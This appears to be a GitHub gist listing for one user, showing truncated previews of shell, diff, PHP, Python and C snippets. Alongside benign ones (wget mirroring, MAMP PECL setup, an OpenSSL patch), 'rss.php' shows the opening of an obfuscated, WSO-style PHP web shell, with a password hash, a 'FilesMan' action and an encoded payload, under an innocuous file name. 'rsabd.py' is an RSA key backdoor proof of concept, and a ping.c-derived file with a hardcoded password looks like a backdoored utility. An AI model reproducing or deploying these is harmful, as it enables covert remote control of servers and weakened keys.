Skip to content

Instantly share code, notes, and snippets.

@bizonix
bizonix / wget_mirror_http_dir.md
Created August 29, 2020 23:23
Mirror http directory listing using wget
urlencode()
{
local s c
local strlen=${#1}
for (( i=0; i<strlen; i++ )); do
c=${1:$i:1}
case "$c" in
+)
c="%2B"
;;
@bizonix
bizonix / transmisson-remote-gui.diff
Created April 25, 2017 16:17
transmisson-remote-gui macos
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..ce5e1cc
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,5 @@
+*.lrs
+fpcmade.*
+units/
+transgui
@bizonix
bizonix / run.sh
Last active August 29, 2015 14:22
how to use pecl in mamp
cd /tmp
wget http://php.net/get/php-5.5.23.tar.gz/from/this/mirror -O php-5.5.23.tar.gz
tar -zxf php-5.5.23.tar.gz
cd php-5.5.23
./configure --prefix=/Applications/MAMP/bin/php/php5.5.23
make install-headers
pecl install -a memcache
#!/usr/bin/env bash
#git-cache-meta -- simple file meta data caching and applying.
#Simpler than etckeeper, metastore, setgitperms, etc.
#from http://www.kerneltrap.org/mailarchive/git/2009/1/9/4654694
#modified by n1k
#modified by the-mars
#modified by bizonix
# - save all files metadata not only from other users
# - save numeric uid and gid
@bizonix
bizonix / rsabd.py
Last active September 5, 2015 21:09 — forked from ryancdotorg/rsabd.py
#!/usr/bin/env python
"""
sudo apt-get install python-gmpy python-m2crypto python-crypto python-dev
sudo pip install pycurve25519
./rsabd.py >poc.key
openssl req -new -key poc.key -out poc.csr
openssl x509 -req -days 365 -in poc.csr -signkey poc.key -out poc.crt
./rsabd.py '' poc.crt
"""
@bizonix
bizonix / patch-ssl__s3_lib.c
Created May 18, 2014 15:13
freesbd openssl ports patch that disables use of RC4 in TLS v1.1+. Without this patch, effective cipher list for TLS v1.1+ will be different than the one we use in production
--- ./ssl/s3_lib.c.orig 2014-05-18 17:03:24.000000000 +0200
+++ ./ssl/s3_lib.c 2014-05-18 17:01:47.000000000 +0200
@@ -3816,7 +3816,12 @@
(TLS1_get_version(s) < TLS1_2_VERSION))
continue;
- ssl_set_cert_masks(cert,c);
+ /* Disable RC4 for TLS v1.1+ */
+ if ((c->algorithm_enc == SSL_RC4) &&
+ (TLS1_get_version(s) >= TLS1_1_VERSION))
@bizonix
bizonix / rss.php
Created April 11, 2014 07:29 — forked from hzlzh/rss.php
<?
$auth_pass = "636d078634721a9eb9df81252db35e67";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$xYEzDu6r3EZT="GR5yYXp3YH17ejRne3h9cGdgdWBxPDB5dX9xYWQ9NG8ZHjQ0NDQweHt4NCk0MzMvGR40NDQ0cntmPDB9KSQvMH00KDRnYGZ4cXo8MHl1f3FhZD0vMH0/KSY9NG8ZHjQ0NDQ0NDB4e3g6KXd8Zjx8cWxwcXc8Z2F2Z2BmPDB5dX9xYWQ4MH04Jj09PS8ZHjQ0NDRpGR40NDQ0ZnFgYWZ6NDB4e3gvGR5pGR4wZ3F9d3t4fXp/KWd7eH1wZ2B1YHE8MyYgIyciciMhIyYiJyIhJ3AiJiIlIyciISciJyAhciIgIiEiJyJyIiAiISYsIXUhLCF1IiwiJiAnIiwicSIhInAidyMhIXUicCMsIiwiICAjISEiciEtInAgIiN1IXUhICEtJyQhLCcmISYidyEtJyYnLSJ2IXUhJyIjInEgcSEjIC0jLCByISMhdScgIichICBwIyMiJSJ2ISUnICF1ICcnLScnIicgICEiICAgcCcnISYhJiImJyQnJScgIHEgISBxISYiJiJxIiwhdSEjISAhJiJ1IXUhLCMkICIhdSEjIHUgIyEiICwhdSchISEicSAlJyQiICAsIiMjIyF1JyUgIiEsIHAidyIsIyciJSEgIXUnJSBxISMidickIichIyAtIyIgcSclICYhISEgInUhdSEsISInJiMsInAhICEhISEnJSBxJycgdSclIiAgJyMgInAiJSMtJy0hJCEtISMgcSB2IScnJicsJyEhJiJ2IncgLCImI3UgIiAsIiYjdSJ3IC0hJyEhIicnJSEtInciIyN1IS0nJiMgI3UiICJwInYnJiEjICwhIiMsIXUidSIgIHYgdiMtJywjd
7f45 4c46 0201 0100 0000 0000 0000 0000
0300 3e00 0100 0000 7813 0000 0000 0000
4000 0000 0000 0000 006b 0000 0000 0000
0000 0000 4000 3800 0300 4000 0f00 0c00
0100 0000 0500 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
fe60 0000 0000 0000 fe60 0000 0000 0000
0000 2000 0000 0000 0100 0000 0600 0000
0061 0000 0000 0000 0061 2000 0000 0000
0061 2000 0000 0000 9809 0000 0000 0000
#define PASSWD "123456"
/*
* Copyright (c) 1989 The Regents of the University of California.
* All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Mike Muuss.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions